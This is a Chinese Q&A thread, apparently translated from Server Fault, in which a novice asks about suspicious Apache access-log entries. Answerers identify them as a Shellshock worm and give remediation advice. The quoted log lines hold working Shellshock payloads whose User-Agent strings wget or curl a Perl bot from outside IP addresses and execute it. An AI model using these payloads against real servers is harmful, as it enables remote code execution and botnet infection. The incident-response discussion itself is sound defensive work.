使用 cgi 脚本入侵我的 Apache

使用 cgi 脚本入侵我的 Apache

我是 Web 编程的新手,因此我设置了一个 apache2 服务器进行练习。

似乎有人成功入侵了我的 Apache 服务器。我注意到我的 access.log 中有以下行:

81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/     bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl      -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"

还有这个:

80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print      \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -     rf /tmp/bot.pl\");'"

看起来他们已经成功破解了,根据 HTTP-200,意味着请求已被批准。

当我尝试“跟踪”请求中的命令时(通过手动执行每个命令):

system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"

我可以看到我成功下载了文件“bot.txt”。当我打开“bot.txt”文件时,我看到它是一个 perl 脚本。我不是 perl 的行家,但我可以看到它“分叉”了其他进程,每个进程都尝试打开到其他服务器的端口。还看到代码中的一个函数尝试在我的站点中搜索开放端口。

我的问题:

  • 有人知道这个问题吗?
  • 我该如何配置我的 apache2.conf 来防止此类黑客攻击?

谢谢

答案1

攻击者试图利用Bash Shellshock漏洞。您可以使用几个简单的命令行测试(这些测试本身无害)来验证您是否存在漏洞,另一篇 SF 文章中已经介绍过:

您的日志显示它们返回了 200 HTTP 状态代码,表明 Apache 处理这两个请求时没有出现错误。如果其中一个contact.cgicgi_wrapper两个都失败了,我本以为 Apache 会返回 500(内部服务器错误)状态代码。这表明这两个脚本至少尝试过 Shellshock 漏洞。

如果您能够确定您的系统上有一个易受攻击的 Bash 版本,那么我认为ou.plbot.pl脚本很可能确实已下载并执行在您的系统上。鉴于此,您不应该对系统的完整性做出任何假设,因为实际上没有办法知道在最初的入侵之后可能做了什么。如何处理这个问题是您必须自己决定的事情,但这个 SF 问题中有一些很好的建议:

答案2

这是一种典型的 Shellshock 传播蠕虫。

如果存在漏洞,它会下载一个.txt 文件(这是一个下载程序),运行它,下载一个.tar 文件,提取它,运行里面的二进制文件,它是一个 rootkit 和一个扫描程序。

这里快速研究一下这种行为:真正的炮弹冲击攻击是什么样的

麦克风。

相关内容